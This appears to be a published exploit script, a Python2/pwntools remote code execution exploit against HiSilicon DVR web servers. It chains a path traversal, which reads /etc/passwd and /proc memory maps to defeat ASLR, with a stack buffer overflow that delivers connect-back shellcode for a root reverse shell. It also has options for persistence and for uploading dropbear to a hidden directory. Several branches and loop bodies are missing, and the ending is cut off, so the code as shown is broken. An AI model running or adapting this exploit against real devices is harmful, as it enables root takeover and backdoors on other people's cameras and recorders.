HiSilicon DVR Devices - Remote Code Execution

Author: Istvan Toth Published: 2018-02-08 Verified: Verified



#!/usr/bin/env python2
# pwn hisilicon dvr web service
from pwn import *
from time import sleep
import re
import argparse
import os
parser = argparse.ArgumentParser(description='exploit HiSilicon DVR devices')
parser.add_argument('--rhost', help='target host', required=True)
parser.add_argument('--rport', help='target port', default=80)
parser.add_argument('--lhost', help='connectback ip', required=True)
parser.add_argument('--lport', help='connectback port', default=31337)
parser.add_argument('--bhost', help='listen ip to bind (default: connectback)')
parser.add_argument('--bport', help='listen port to bind (default: connectback)')
parser.add_argument('-n', '--nolisten', help='do not start listener (you should care about connectback listener on your own)', action='store_true')
parser.add_argument('-i', '--interactive', help='select stack memory region interactively (rather than using autodetection)', action='store_true')
parser.add_argument('-p', '--persistent', help='make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)', action='store_true')
parser.add_argument('-u', '--upload', help='upload tools (now hardcoded "./tools/dropbear" in script) after pwn', action='store_true')
parser.add_argument('--offset', help='exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8)
parser.add_argument('--cmdline', help='cmdline of Sofia binary on remote target (default "/var/Sofia")', default='/var/Sofia')
args = parser.parse_args()
target_host = args.rhost
target_port = int(args.rport)
sofia_cmdline = args.cmdline
if args.interactive:
    getleak_interactive = True
    getleak_interactive = False
if args.persistent:
    shell_persistent = True
    shell_persistent = False
if args.upload:
    shell_upload = True
    shell_upload = False
connectback_host = args.lhost
connectback_port = int(args.lport)
if args.bhost:
    listen_host = args.bhost
    listen_host = connectback_host
if args.bport:
    listen_port = int(args.bport)
    listen_port = connectback_port
vuln1: bof in httpd
buffer overflow in builtin webserver binary `Sofia`
which can be exploited to run shellcode (as root) on the device.
PoC payload to cause a segfault:
payload = "GET " + "a"*299 + "xxxx" + " HTTP"
note, that in "xxxx" we can control pc register (program flow)!
there is no nx enabled, so executing shellcode in place of "a"*299
is possible. however, stack address leak is needed to defeat aslr.
vuln2: path traversal vuln in httpd
builtin webserver has a directory path traversal vulnerability
which can be exploited to leak arbitrary files.
note, that the webserver binary `Sofia` is running as root,
so exploiting this arbitrary file can be read from device fs.
PoC request "GET ../../etc/passwd HTTP" reads file "/etc/passwd".
Furthermore, dir listing is enabled as well.
by exploiting vuln2 we can defeat aslr needed to exploit vuln1.
namely, filesystem at /proc contains lots of information
about running processes, e.g. contains memory mappings:
request "GET ../../proc/[pid]/maps HTTP" reads memory
mapping of process with pid [pid]. obverving the memory
mapping patterns usually enough to defeat aslr (offset
from mem map base is the same, even in different versions).
# get pid of running dvr binary '/var/Sofia'
def findpid():
    with log.progress('getting pidlist') as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc HTTP')
        pids = []
        for line in r.recvall().splitlines():
            res = re.match(r'.*\.\./\.\./proc/([0-9]+)"', line)
            if res:
        context.log_level = c
        logp.success('found %d processes' % len(pids))
    with log.progress("searching for PID of '%s'" % sofia_cmdline) as logp:
        pid_sofia = None
        for pid in pids:
            c = context.log_level
            context.log_level = 'error'
            r = remote(target_host, target_port)
            r.sendline('GET ../../proc/%d/cmdline HTTP' % pid)
            resp = r.recvall().splitlines()
            context.log_level = c
            if sofia_cmdline + '\x00' == resp[-1]:
                pid_sofia = pid
        if not pid_sofia:
            logp.failure('did not found')
    return pid_sofia
def getmodelnumber():
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../mnt/custom/ProductDefinition HTTP')
    for l in r.recvall(timeout=5).decode('ascii').replace(',', '\n').splitlines():
        if "Hardware" in l:
            modelnumber = l.split(":")[1].split('"')[1]
    context.log_level = c
    return modelnumber
def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)
# getting stack section base address
# 'k' defines the section which contains the stack
def getleak(pid, interactive):
    with log.progress("getting stack section base") as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc/%d/smaps HTTP' % pid)
        smaps = []
        memStart = False
        for line in r.recvall().splitlines():
            if memStart:
                t += (int(line.split()[1]),)
                i += 1
                #if i >= 14:
                if i >= 7:
                    smaps.append((memStart, t))
                    memStart = False
            if 'rwxp' in line:
                memStart = int(line.split('-')[0], 16)
                i = 0
                t = ()
        guess = guessregion(smaps)
        if guess < 0 or interactive:
            j = 0
            for i in smaps:
                print (j, hex(i[0]), i[1:])
                j += 1
            k = int(raw_input('enter stack region id (guessed value = %d): ' % guess))
            k = guess
        leak = smaps[k][0]
        context.log_level = c
    return leak
# connectback shellcode
# badchars: 0x00, 0x0d, 0x20, 0x3f, 0x26
def shellcode(lhost, lport):
    badchars = [0x00, 0x0d, 0x20, 0x3f, 0x26]
    badchars = map(chr, badchars)
    xscode  = "01108fe211ff"
    xscode += "2fe111a18a78013a8a700221081c0121921a0f02193701df061c0ba10223"
    xscode += "0b801022023701df3e270137c821301c01df0139fbd507a0921ac27105b4"
    xscode += "69460b2701df0121081c01dfc046ffff7a69c0a858642f62696e2f736858"
    xscode += "ffffc046efbeadde"
    h = lambda x: hex(int(x))[2:]
    h2 = lambda x: h(x).zfill(2)
    xscode = xscode[:164] + h(lport+0x100).zfill(4) + ''.join(map(h2, lhost.split('.'))) + xscode[176:]
    xscode = xscode.decode('hex')
    for badchar in badchars:
        if badchar in xscode:
            raise NameError('badchar %s in shellcode!' % hex(ord(badchar)))
    return xscode
def restart_dvrapp(c):
    with log.progress('restarting dvr application') as logp:
        logp.status('looking up dvrhelper process')
        cmdline = ''
        while not 'dvrHelper' in cmdline:
            cmdline = c.recvline()
        cmdline = cmdline.split()
        while not 'ps' in c.recvline():
        logp.status('killing dvrhelper')
        c.sendline('kill %s' % cmdline[0])
        cmdline_dvrhelper = ' '.join(cmdline[4:])
        logp.status('starting dvrhelper: %s' % cmdline_dvrhelper)
        c.sendline(cmdline_dvrhelper + ' 2>/dev/null &')
def upload_tools(c):
    with log.progress('uploading tools to /var/.tools') as logp:
        logp.status('creating dir')
        c.sendline('rm -fr /var/.tools')
        c.sendline('mkdir /var/.tools')
        tools = ['dropbear']
        upload_blocksize = 1024
        for tool in tools:
            toolsize = os.path.getsize('./tools/%s' % tool)
            b = 0
            fp = open("./tools/%s" % tool, "rb")
            for chunk in iter(lambda: fp.read(upload_blocksize), ''):
                chunkhex = ''.join(['\\x'+chunk.encode('hex')[i:i+2].zfill(2) for i in range(0, len(chunk)*2, 2)])
                c.sendline("echo -n -e '%s' >> /var/.tools/%s" % (chunkhex, tool))
                b += len(chunk)
                logp.status('%s: %d/%d' % (tool, b, toolsize))
            c.sendline('chmod +x /var/.tools/%s' % tool)
        logp.success(' '.join(tools))
log.info('target is %s:%d' % (target_host, target_port))
if not args.nolisten:
    log.info('connectback on %s:%d' % (listen_host, listen_port))
with log.progress("assembling shellcode") as logp:
    xscode = shellcode(connectback_host, connectback_port)
    logp.success("done. length is %d bytes" % len(xscode))
with log.progress("identifying model number") as logp:
    modelnumber = getmodelnumber()
log.info('exploiting dir path traversal of web service to get leak addresses')
stack_section_base = getleak(findpid(), getleak_interactive)
stack_offset = args.offset
stack_20 = stack_section_base + stack_offset + 20
log.info('shellcode address is ' + hex(stack_20))
payload  = "GET "
payload += xscode
payload += "a" * (299 - len(xscode))
payload += p32(stack_20)
payload += " HTTP"
log.info('exploiting buffer overflow in web service url path')
log.info('remote shell should gained by connectback shellcode!')
if not args.nolisten:
    l = listen(bindaddr=listen_host, port=listen_port, timeout=5)
    c = l.wait_for_connection()
r = remote(target_host, target_port)
if not args.nolisten:
    if shell_persistent:
    if shell_upload: